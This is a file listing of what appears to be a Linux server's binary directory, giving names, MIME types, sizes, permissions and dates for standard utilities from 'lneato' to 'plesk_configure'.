3.57 MB
-rwxr-xr-x
2020-10-23 08:26:04
lneato
text/x-shellscript
1.51 KB
-rwxr-xr-x
2024-04-06 12:47:07
loadkeys
application/x-sharedlib
210.53 KB
-rwxr-xr-x
2023-10-14 09:01:01
loadunimap
application/x-sharedlib
29.03 KB
-rwxr-xr-x
2023-10-14 09:01:01
locale
application/x-sharedlib
56.45 KB
-rwxr-xr-x
2025-08-05 02:12:44
localectl
application/x-sharedlib
28.86 KB
-rwxr-xr-x
2025-04-22 01:58:57
localedef
application/x-sharedlib
307.47 KB
-rwxr-xr-x
2025-08-05 02:12:44
logger
application/x-sharedlib
49.98 KB
-rwxr-xr-x
2024-04-06 01:02:53
login
application/x-sharedlib
40.96 KB
-rwxr-xr-x
2024-04-06 01:02:53
loginctl
application/x-sharedlib
57.28 KB
-rwxr-xr-x
2025-04-22 01:58:57
logname
application/x-sharedlib
33.42 KB
-rwxr-xr-x
2023-04-01 08:44:39
logresolve
application/x-sharedlib
21.45 KB
-rwxr-xr-x
2025-10-15 08:39:07
look
application/x-sharedlib
16.45 KB
-rwxr-xr-x
2024-04-06 01:02:53
ls
application/x-sharedlib
139.97 KB
-rwxr-xr-x
2023-04-01 08:44:39
lsattr
application/x-sharedlib
11.93 KB
-rwxr-xr-x
2025-10-07 07:08:06
lsblk
application/x-sharedlib
90.13 KB
-rwxr-xr-x
2024-04-06 01:02:53
lscpu
application/x-sharedlib
81.7 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsgpio
application/x-sharedlib
15.06 KB
-rwxr-xr-x
2025-10-20 08:13:35
lsiio
application/x-sharedlib
22.98 KB
-rwxr-xr-x
2025-10-20 08:13:35
lsinitrd
text/x-shellscript
8.68 KB
-rwxr-xr-x
2025-07-15 09:09:28
lsipc
application/x-sharedlib
73.74 KB
-rwxr-xr-x
2024-04-06 01:02:53
lslocks
application/x-sharedlib
37.53 KB
-rwxr-xr-x
2024-04-06 01:02:53
lslogins
application/x-sharedlib
65.6 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsmem
application/x-sharedlib
45.34 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsns
application/x-sharedlib
49.28 KB
-rwxr-xr-x
2024-04-06 01:02:53
lsof
application/x-sharedlib
175.4 KB
-rwxr-xr-x
2020-08-15 09:59:43
lsphp
text/x-perl
937 B
-rwxr-xr-x
2025-04-01 04:34:05
lsscsi
application/x-sharedlib
86.01 KB
-rwxr-xr-x
2021-10-09 05:12:29
lua
application/x-sharedlib
20.45 KB
-rwxr-xr-x
2021-10-09 05:14:37
luac
application/x-sharedlib
152.77 KB
-rwxr-xr-x
2021-10-09 05:14:37
lwp-download
text/x-perl
10.05 KB
-rwxr-xr-x
2022-04-22 08:13:06
lwp-dump
text/x-perl
2.65 KB
-rwxr-xr-x
2022-04-22 08:13:06
lwp-mirror
text/x-perl
2.36 KB
-rwxr-xr-x
2022-04-22 08:13:06
lwp-request
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
lynx
application/x-sharedlib
1.84 MB
-rwxr-xr-x
2022-04-18 09:01:05
lzcat
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzcmp
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzdiff
text/x-shellscript
6.48 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzegrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzfgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzgrep
text/x-shellscript
5.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzless
text/x-shellscript
1.76 KB
-rwxr-xr-x
2022-06-14 01:03:30
lzma
application/x-sharedlib
82.09 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzmadec
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzmainfo
application/x-sharedlib
12.36 KB
-rwxr-xr-x
2022-06-14 01:03:34
lzmore
text/x-shellscript
2.11 KB
-rwxr-xr-x
2022-06-14 01:03:30
m4
application/x-sharedlib
185.56 KB
-rwxr-xr-x
2019-10-11 02:41:40
mail
application/x-sharedlib
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
mailx
application/x-sharedlib
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
make
application/x-sharedlib
235.32 KB
-rwxr-xr-x
2022-04-18 04:38:34
make-dummy-cert
text/x-shellscript
610 B
-rwxr-xr-x
2024-10-09 01:39:22
makedb
application/x-sharedlib
24.84 KB
-rwxr-xr-x
2025-08-05 02:12:44
man
application/x-sharedlib
112.52 KB
-rwxr-xr-x
2021-10-08 01:04:46
mandb
application/x-sharedlib
134.52 KB
-rwxr-xr-x
2021-10-08 01:04:46
manpath
application/x-sharedlib
33.42 KB
-rwxr-xr-x
2021-10-08 01:04:46
mapscrn
application/x-sharedlib
24.84 KB
-rwxr-xr-x
2023-10-14 09:01:01
mariadb
application/x-sharedlib
4.34 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-access
text/x-perl
109.34 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-admin
application/x-sharedlib
3.88 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-binlog
application/x-sharedlib
4.14 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-check
application/x-sharedlib
3.88 MB
-rwxr-xr-x
2025-07-28 05:10:35
mariadb-config
application/x-sharedlib
12.2 KB
-rwxr-xr-x
2025-07-28 05:11:56
mariadb-conv
application/x-sharedlib
3.59 MB
-rwxr-xr-x
2025-07-28 05:10:35
mariadb-convert-table-format
text/x-perl
4.12 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-dump
application/x-sharedlib
3.96 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-dumpslow
text/x-perl
8.05 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-embedded
application/x-sharedlib
22.6 MB
-rwxr-xr-x
2025-07-28 05:10:35
mariadb-find-rows
text/x-perl
3.21 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-fix-extensions
text/x-perl
1.22 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-hotcopy
text/x-perl
34.15 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-import
application/x-sharedlib
3.87 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-install-db
text/x-shellscript
22.46 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-plugin
application/x-sharedlib
3.57 MB
-rwxr-xr-x
2025-07-28 05:10:35
mariadb-secure-installation
text/x-shellscript
13.49 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-service-convert
text/x-shellscript
2.45 KB
-rwxr-xr-x
2025-07-28 03:52:27
mariadb-setpermission
text/x-perl
17.56 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadb-show
application/x-sharedlib
3.87 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-slap
application/x-sharedlib
3.89 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb-tzinfo-to-sql
application/x-sharedlib
3.57 MB
-rwxr-xr-x
2025-07-28 05:10:35
mariadb-upgrade
application/x-sharedlib
4 MB
-rwxr-xr-x
2025-07-28 05:16:24
mariadb-waitpid
application/x-sharedlib
3.55 MB
-rwxr-xr-x
2025-07-28 05:10:34
mariadb_config
application/x-sharedlib
12.2 KB
-rwxr-xr-x
2025-07-28 05:11:56
mariadbd-multi
text/x-perl
26.71 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadbd-safe
text/x-shellscript
30.42 KB
-rwxr-xr-x
2025-07-28 03:57:47
mariadbd-safe-helper
application/x-sharedlib
3.52 MB
-rwxr-xr-x
2025-07-28 05:16:23
mc
application/x-sharedlib
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
mcdiff
application/x-sharedlib
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
mcedit
application/x-sharedlib
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
mcookie
application/x-sharedlib
33.26 KB
-rwxr-xr-x
2024-04-06 01:02:53
mcpp
application/x-sharedlib
9.02 KB
-rwxr-xr-x
2019-10-14 03:45:04
mcview
application/x-sharedlib
1.3 MB
-rwxr-xr-x
2019-10-18 08:38:40
md5sum
application/x-sharedlib
45.62 KB
-rwxr-xr-x
2023-04-01 08:44:39
mdig
application/x-sharedlib
48.52 KB
-rwxr-xr-x
2025-02-20 09:05:41
memstrack
application/x-sharedlib
83.78 KB
-rwxr-xr-x
2023-10-15 04:56:34
mesg
application/x-sharedlib
16.36 KB
-rwxr-xr-x
2024-04-06 01:02:53
mkdir
application/x-sharedlib
82.79 KB
-rwxr-xr-x
2023-04-01 08:44:39
mkfifo
application/x-sharedlib
66.56 KB
-rwxr-xr-x
2023-04-01 08:44:39
mkfontdir
text/x-shellscript
65 B
-rwxr-xr-x
2021-10-09 11:42:24
mkfontscale
application/x-sharedlib
41.59 KB
-rwxr-xr-x
2021-10-09 11:42:47
mkinitrd
text/x-shellscript
6.43 KB
-rwxr-xr-x
2025-07-15 09:09:28
mknod
application/x-sharedlib
70.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
mktemp
application/x-sharedlib
45.73 KB
-rwxr-xr-x
2023-04-01 08:44:39
mm2gv
application/x-sharedlib
90.53 KB
-rwxr-xr-x
2024-04-06 12:47:15
mmdblookup
application/x-sharedlib
16.74 KB
-rwxr-xr-x
2024-02-12 02:30:34
modulecmd
text/plain
384.75 KB
-rwxr-xr-x
2023-10-14 06:46:13
modulemd-validator
application/x-sharedlib
24.96 KB
-rwxr-xr-x
2021-10-09 01:37:57
modutil
application/x-sharedlib
177.43 KB
-rwxr-xr-x
2025-09-09 01:57:06
mogrify
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
montage
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
more
application/x-sharedlib
44.94 KB
-rwxr-xr-x
2024-04-06 01:02:53
mount
application/x-sharedlib
49.15 KB
-rwsr-xr-x
2024-04-06 01:02:53
mountpoint
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2024-04-06 01:02:53
mpicalc
application/x-sharedlib
20.38 KB
-rwxr-xr-x
2022-06-28 11:54:07
mpstat
application/x-sharedlib
53.51 KB
-rwxr-xr-x
2024-07-03 09:57:26
msgattrib
application/x-sharedlib
25.58 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgcat
application/x-sharedlib
25.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgcmp
application/x-sharedlib
26.12 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgcomm
application/x-sharedlib
25.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgconv
application/x-sharedlib
21.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgen
application/x-sharedlib
21.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgexec
application/x-sharedlib
21.55 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgfilter
application/x-sharedlib
34.53 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgfmt
application/x-sharedlib
90.3 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgfmt2.7.py
text/plain
6.33 KB
-rwxr-xr-x
2024-04-10 04:58:41
msgfmt2.py
text/plain
6.33 KB
-rwxr-xr-x
2024-04-10 04:58:41
msggrep
application/x-sharedlib
43.6 KB
-rwxr-xr-x
2019-11-18 05:17:29
msginit
application/x-sharedlib
67.85 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgmerge
application/x-sharedlib
71.48 KB
-rwxr-xr-x
2019-11-18 05:17:29
msgunfmt
application/x-sharedlib
35.8 KB
-rwxr-xr-x
2019-11-18 05:17:29
msguniq
application/x-sharedlib
25.56 KB
-rwxr-xr-x
2019-11-18 05:17:29
msql2mysql
text/x-shellscript
1.41 KB
-rwxr-xr-x
2025-07-28 03:57:47
multitail
application/x-executable
329.2 KB
-rwxr-xr-x
2020-01-06 10:32:41
mv
application/x-sharedlib
144.03 KB
-rwxr-xr-x
2023-04-01 08:44:39
my_print_defaults
application/x-sharedlib
3.56 MB
-rwxr-xr-x
2025-07-28 05:10:34
myisam_ftdump
application/x-sharedlib
3.89 MB
-rwxr-xr-x
2025-07-28 05:16:24
myisamchk
application/x-sharedlib
4.01 MB
-rwxr-xr-x
2025-07-28 05:16:24
myisamlog
application/x-sharedlib
3.87 MB
-rwxr-xr-x
2025-07-28 05:16:23
myisampack
application/x-sharedlib
3.91 MB
-rwxr-xr-x
2025-07-28 05:16:23
mysql
application/x-sharedlib
4.34 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysql_config
text/x-shellscript
4.51 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysql_embedded
application/x-sharedlib
22.6 MB
-rwxr-xr-x
2025-07-28 05:10:35
mysql_find_rows
text/x-perl
3.21 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysql_fix_extensions
text/x-perl
1.22 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysql_install_db
text/x-shellscript
22.46 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysql_plugin
application/x-sharedlib
3.57 MB
-rwxr-xr-x
2025-07-28 05:10:35
mysql_tzinfo_to_sql
application/x-sharedlib
3.57 MB
-rwxr-xr-x
2025-07-28 05:10:35
mysql_upgrade
application/x-sharedlib
4 MB
-rwxr-xr-x
2025-07-28 05:16:24
mysql_waitpid
application/x-sharedlib
3.55 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlaccess
text/x-perl
109.34 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysqladmin
application/x-sharedlib
3.88 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlbinlog
application/x-sharedlib
4.14 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlcheck
application/x-sharedlib
3.88 MB
-rwxr-xr-x
2025-07-28 05:10:35
mysqld_multi
text/x-perl
26.71 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysqld_safe
text/x-shellscript
30.42 KB
-rwxr-xr-x
2025-07-28 03:57:47
mysqld_safe_helper
application/x-sharedlib
3.52 MB
-rwxr-xr-x
2025-07-28 05:16:23
mysqldump
application/x-sharedlib
3.96 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlimport
application/x-sharedlib
3.87 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlshow
application/x-sharedlib
3.87 MB
-rwxr-xr-x
2025-07-28 05:10:34
mysqlslap
application/x-sharedlib
3.89 MB
-rwxr-xr-x
2025-07-28 05:10:34
mytop
text/x-perl
71.95 KB
-rwxr-xr-x
2025-07-28 03:57:47
nail
application/x-sharedlib
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
named-rrchecker
application/x-sharedlib
19.88 KB
-rwxr-xr-x
2025-02-20 09:05:41
namei
application/x-sharedlib
33.1 KB
-rwxr-xr-x
2024-04-06 01:02:53
nano
application/x-sharedlib
247.94 KB
-rwxr-xr-x
2024-09-24 02:16:19
nc
application/x-sharedlib
49.27 KB
-rwxr-xr-x
2025-01-05 11:13:17
ncdu
application/x-sharedlib
89.88 KB
-rwxr-xr-x
2025-03-08 07:44:19
ncurses6-config
text/x-shellscript
5.87 KB
-rwxr-xr-x
2023-10-14 06:54:41
ncursesw6-config
text/x-shellscript
5.88 KB
-rwxr-xr-x
2023-10-14 06:54:41
ndptool
application/x-sharedlib
24.45 KB
-rwxr-xr-x
2024-07-19 07:04:25
neato
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
needs-restarting
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
neqn
text/x-shellscript
908 B
-rwxr-xr-x
2019-10-13 02:29:37
net-snmp-create-v3-user
text/x-shellscript
3.15 KB
-rwxr-xr-x
2025-10-07 09:19:20
netcat
application/x-sharedlib
49.27 KB
-rwxr-xr-x
2025-01-05 11:13:17
netstat
application/x-sharedlib
158.68 KB
-rwxr-xr-x
2020-08-30 05:47:39
newgidmap
application/x-sharedlib
47.8 KB
-rwxr-xr-x
2024-04-06 02:00:13
newgrp
application/x-sharedlib
42.45 KB
-rwsr-xr-x
2024-04-06 02:00:13
newuidmap
application/x-sharedlib
47.76 KB
-rwxr-xr-x
2024-04-06 02:00:13
nf-ct-add
application/x-sharedlib
16.46 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-ct-events
application/x-sharedlib
12.38 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-ct-list
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-add
application/x-sharedlib
16.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-delete
application/x-sharedlib
16.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-exp-list
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-log
application/x-sharedlib
12.35 KB
-rwxr-xr-x
2022-10-08 11:39:41
nf-monitor
application/x-sharedlib
12.36 KB
-rwxr-xr-x
2022-10-08 11:39:40
nf-queue
application/x-sharedlib
16.35 KB
-rwxr-xr-x
2022-10-08 11:39:41
ngettext
application/x-sharedlib
48.97 KB
-rwxr-xr-x
2019-11-18 05:17:29
nice
application/x-sharedlib
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
nisdomainname
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
nl
application/x-sharedlib
45.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
nl-addr-add
application/x-sharedlib
12.34 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-addr-delete
application/x-sharedlib
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-addr-list
application/x-sharedlib
16.88 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-add
application/x-sharedlib
16.73 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-delete
application/x-sharedlib
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-class-list
application/x-sharedlib
12.59 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-classid-lookup
application/x-sharedlib
12.47 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-cls-add
application/x-sharedlib
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-cls-delete
application/x-sharedlib
16.77 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-cls-list
application/x-sharedlib
12.73 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-fib-lookup
application/x-sharedlib
12.5 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-enslave
application/x-sharedlib
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-ifindex2name
application/x-sharedlib
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-list
application/x-sharedlib
12.23 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-name2ifindex
application/x-sharedlib
11.86 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-release
application/x-sharedlib
11.86 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-set
application/x-sharedlib
12.77 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-link-stats
application/x-sharedlib
12.59 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-list-caches
application/x-sharedlib
12.27 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-list-sockets
application/x-sharedlib
11.87 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-monitor
application/x-sharedlib
12.52 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-add
application/x-sharedlib
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-delete
application/x-sharedlib
12.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neigh-list
application/x-sharedlib
12.19 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-neightbl-list
application/x-sharedlib
12.01 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-pktloc-lookup
application/x-sharedlib
12.56 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-add
application/x-sharedlib
12.65 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-delete
application/x-sharedlib
12.63 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-qdisc-list
application/x-sharedlib
16.74 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-route-add
application/x-sharedlib
16.39 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-route-delete
application/x-sharedlib
16.88 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-route-get
application/x-sharedlib
12.35 KB
-rwxr-xr-x
2022-10-08 11:39:40
nl-route-list
application/x-sharedlib
16.44 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-rule-list
application/x-sharedlib
12.05 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-tctree-list
application/x-sharedlib
12.66 KB
-rwxr-xr-x
2022-10-08 11:39:41
nl-util-addr
application/x-sharedlib
11.85 KB
-rwxr-xr-x
2022-10-08 11:39:41
nm
application/x-sharedlib
50.38 KB
-rwxr-xr-x
2025-10-07 06:44:04
nm-online
application/x-sharedlib
20.84 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmcli
application/x-sharedlib
1009 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-connect
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-edit
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nmtui-hostname
application/x-sharedlib
784.12 KB
-rwxr-xr-x
2025-08-26 09:47:31
nohup
application/x-sharedlib
37.48 KB
-rwxr-xr-x
2023-04-01 08:44:39
nop
application/x-sharedlib
12.5 KB
-rwxr-xr-x
2024-04-06 12:47:15
nproc
application/x-sharedlib
37.48 KB
-rwxr-xr-x
2023-04-01 08:44:39
nroff
text/x-shellscript
3.23 KB
-rwxr-xr-x
2019-10-13 02:29:39
nsenter
application/x-sharedlib
33.3 KB
-rwxr-xr-x
2024-04-06 01:02:53
nslookup
application/x-sharedlib
146.26 KB
-rwxr-xr-x
2025-02-20 09:05:41
nss-policy-check
application/x-sharedlib
16.3 KB
-rwxr-xr-x
2025-09-09 01:57:07
nsupdate
application/x-sharedlib
73.05 KB
-rwxr-xr-x
2025-02-20 09:05:41
numfmt
application/x-sharedlib
65.71 KB
-rwxr-xr-x
2023-04-01 08:44:39
objcopy
application/x-sharedlib
240.07 KB
-rwxr-xr-x
2025-10-07 06:44:04
objdump
application/x-sharedlib
419.76 KB
-rwxr-xr-x
2025-10-07 06:44:04
od
application/x-sharedlib
73.88 KB
-rwxr-xr-x
2023-04-01 08:44:39
odbc_config
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-14 09:51:19
odbcinst
application/x-sharedlib
37.68 KB
-rwxr-xr-x
2019-10-14 09:51:19
open
application/x-sharedlib
20.97 KB
-rwxr-xr-x
2023-10-14 09:01:01
openssl
application/x-sharedlib
745.95 KB
-rwxr-xr-x
2024-10-09 01:39:36
openvt
application/x-sharedlib
20.97 KB
-rwxr-xr-x
2023-10-14 09:01:01
os-prober
text/x-shellscript
5.78 KB
-rwxr-xr-x
2021-10-09 02:56:52
osage
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
p11-kit
application/x-sharedlib
37.15 KB
-rwxr-xr-x
2024-04-06 02:16:19
package-cleanup
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
page_owner_sort
application/x-sharedlib
11.34 KB
-rwxr-xr-x
2025-10-20 08:13:35
pango-list
application/x-sharedlib
11.88 KB
-rwxr-xr-x
2021-10-08 03:22:06
pango-view
application/x-sharedlib
57.44 KB
-rwxr-xr-x
2021-10-08 03:22:06
paperconf
application/x-sharedlib
13.07 KB
-rwxr-xr-x
2019-10-12 08:09:13
passwd
application/x-sharedlib
32.77 KB
-rwsr-xr-x
2022-04-18 10:59:33
paste
application/x-sharedlib
37.46 KB
-rwxr-xr-x
2023-04-01 08:44:39
patch
application/x-sharedlib
206.46 KB
-rwxr-xr-x
2020-06-01 03:14:25
patchwork
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
pathchk
application/x-sharedlib
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
pathfix.py
text/plain
6.63 KB
-rwxr-xr-x
2025-08-26 08:58:55
pcre-config
text/x-shellscript
2.09 KB
-rwxr-xr-x
2021-10-08 07:17:42
pcre2-config
text/x-shellscript
1.9 KB
-rwxr-xr-x
2022-08-02 04:07:28
pdf2dsc
text/x-shellscript
698 B
-rwxr-xr-x
2025-06-03 02:48:11
pdf2ps
text/x-shellscript
909 B
-rwxr-xr-x
2025-06-03 02:48:11
peekfd
application/x-sharedlib
16.51 KB
-rwxr-xr-x
2020-11-06 02:24:16
perl
application/x-sharedlib
12.43 KB
-rwxr-xr-x
2025-07-28 08:07:20
perl5.26.3
application/x-sharedlib
12.43 KB
-rwxr-xr-x
2025-07-28 08:07:20
perlbug
text/x-perl
44.39 KB
-rwxr-xr-x
2025-07-28 08:08:32
perldoc
text/x-perl
118 B
-rwxr-xr-x
2019-10-13 11:53:57
perlivp
text/x-perl
10.56 KB
-rwxr-xr-x
2025-07-28 08:07:09
perlml
application/x-executable
6.86 KB
-rwxr-xr-x
2022-08-10 08:54:28
perlthanks
text/x-perl
44.39 KB
-rwxr-xr-x
2025-07-28 08:08:32
perror
application/x-sharedlib
3.75 MB
-rwxr-xr-x
2025-07-28 05:16:24
pflags
text/x-python
2.57 KB
-rwxr-xr-x
2024-04-06 01:32:49
pftp
application/x-sharedlib
101.2 KB
-rwxr-xr-x
2019-10-12 12:59:55
pg_basebackup
application/x-sharedlib
123.48 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_config
application/x-sharedlib
45.35 KB
-rwxr-xr-x
2025-02-20 07:58:19
pg_controldata
application/x-sharedlib
41.22 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_ctl
application/x-sharedlib
53.78 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_dump
application/x-sharedlib
399.43 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_dumpall
application/x-sharedlib
107.11 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_isready
application/x-sharedlib
65.92 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_receivewal
application/x-sharedlib
70.56 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_recvlogical
application/x-sharedlib
74.73 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_resetwal
application/x-sharedlib
49.29 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_restore
application/x-sharedlib
173.34 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_rewind
application/x-sharedlib
86.58 KB
-rwxr-xr-x
2024-02-27 08:25:00
pg_upgrade
application/x-sharedlib
139.52 KB
-rwxr-xr-x
2024-02-27 08:25:00
pgrep
application/x-sharedlib
28.84 KB
-rwxr-xr-x
2023-10-14 08:31:02
php
text/x-perl
937 B
-rwxr-xr-x
2025-04-01 04:34:05
pic
application/x-sharedlib
293.84 KB
-rwxr-xr-x
2019-10-13 02:29:41
piconv
text/x-perl
8.08 KB
-rwxr-xr-x
2019-10-13 08:46:10
pidof
application/x-sharedlib
16.7 KB
-rwxr-xr-x
2023-10-14 08:31:02
pidstat
application/x-sharedlib
65.72 KB
-rwxr-xr-x
2024-07-03 09:57:26
pigz
application/x-sharedlib
125.38 KB
-rwxr-xr-x
2020-06-01 03:15:34
ping
application/x-sharedlib
66.13 KB
-rwxr-xr-x
2023-10-14 05:19:01
pinky
application/x-sharedlib
41.53 KB
-rwxr-xr-x
2023-04-01 08:44:39
pip-2
text/x-python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip-2.7
text/x-python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip-3
text/plain
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pip-3.6
text/plain
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pip2
text/x-python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip2.7
text/x-python
206 B
-rwxr-xr-x
2022-04-21 06:08:22
pip3
text/plain
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pip3.6
text/plain
209 B
-rwxr-xr-x
2024-04-06 01:40:45
pk12util
application/x-sharedlib
111.13 KB
-rwxr-xr-x
2025-09-09 01:57:07
pkaction
application/x-sharedlib
16.38 KB
-rwxr-xr-x
2024-05-29 12:51:40
pkcheck
application/x-sharedlib
24.43 KB
-rwxr-xr-x
2024-05-29 12:51:40
pkexec
application/x-sharedlib
28.41 KB
-rwsr-xr-x
2024-05-29 12:51:40
pkg-config
application/x-sharedlib
40.04 KB
-rwxr-xr-x
2019-10-13 06:57:31
pkgconf
application/x-sharedlib
40.04 KB
-rwxr-xr-x
2019-10-13 06:57:31
pkill
application/x-sharedlib
28.84 KB
-rwxr-xr-x
2023-10-14 08:31:02
pkla-admin-identities
application/x-sharedlib
25.72 KB
-rwxr-xr-x
2019-11-18 03:17:20
pkla-check-authorization
application/x-sharedlib
33.78 KB
-rwxr-xr-x
2019-11-18 03:17:20
pkttyagent
application/x-sharedlib
20.38 KB
-rwxr-xr-x
2024-05-29 12:51:40
pl2pm
text/x-perl
4.43 KB
-rwxr-xr-x
2025-07-28 08:08:16
pldd
application/x-sharedlib
16.75 KB
-rwxr-xr-x
2025-08-05 02:12:44
plesk_configure
text/x-shellscript
342 B
